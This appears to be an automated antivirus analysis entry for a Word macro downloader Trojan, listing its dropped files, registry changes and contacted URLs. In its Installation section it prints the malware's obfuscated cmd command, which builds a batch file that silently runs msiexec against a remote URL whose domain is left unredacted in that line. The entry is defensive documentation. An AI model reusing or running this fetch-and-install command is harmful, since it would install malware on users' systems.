Trojan.W97M.DLOADR.TIOIBEJL

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• cmD /c EChO|SE^t /p=" M^siexe">%temp%\contrra.bat&EcHo|s^et /p="c " >>%temp%\contrra.bat&EcHo|s^et /p="^/i" >>%temp%\contrra.bat&EcHo|s^et /p=" http^:^/^/^www.babblemur.net/aestar.php ">>%temp%\contrra.bat&EcHo|s^et /p=" ^/q &exit">>%temp%\contrra.bat&%temp%\contrra.bat&avvfge
• %System%\cmd.exe /S /D /c" EChO"
• %System%\cmd.exe /S /D /c" EcHo"
• %System%\msiexec.exe Msiexec /ihttp://www.{BLOCKED}mur.net/aestar.php /q

It creates the following folders:

• %User Profile%\Application Data\Microsoft\Forms

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan modifies the following file(s):

• %Application Data%\Microsoft\Office\Word12.pip

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

Dropping Routine

This Trojan drops the following files:

• %User Profile%\Application Data\Microsoft\Forms\WINWORD.box
• %Application Data%\Microsoft\Office\VB12.pip
• %Application Data%\Microsoft\Office\Word12.pip
• %Application Data%\Microsoft\UProof\CUSTOM.DIC
• {malware file path and name}

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://www.{BLOCKED}mur.net/aestar.php
• http://geo.{BLOCKED}portsoftware.com/location/loca.asp
• http://{BLOCKED}ng.cn

This report is generated via an automated analysis system.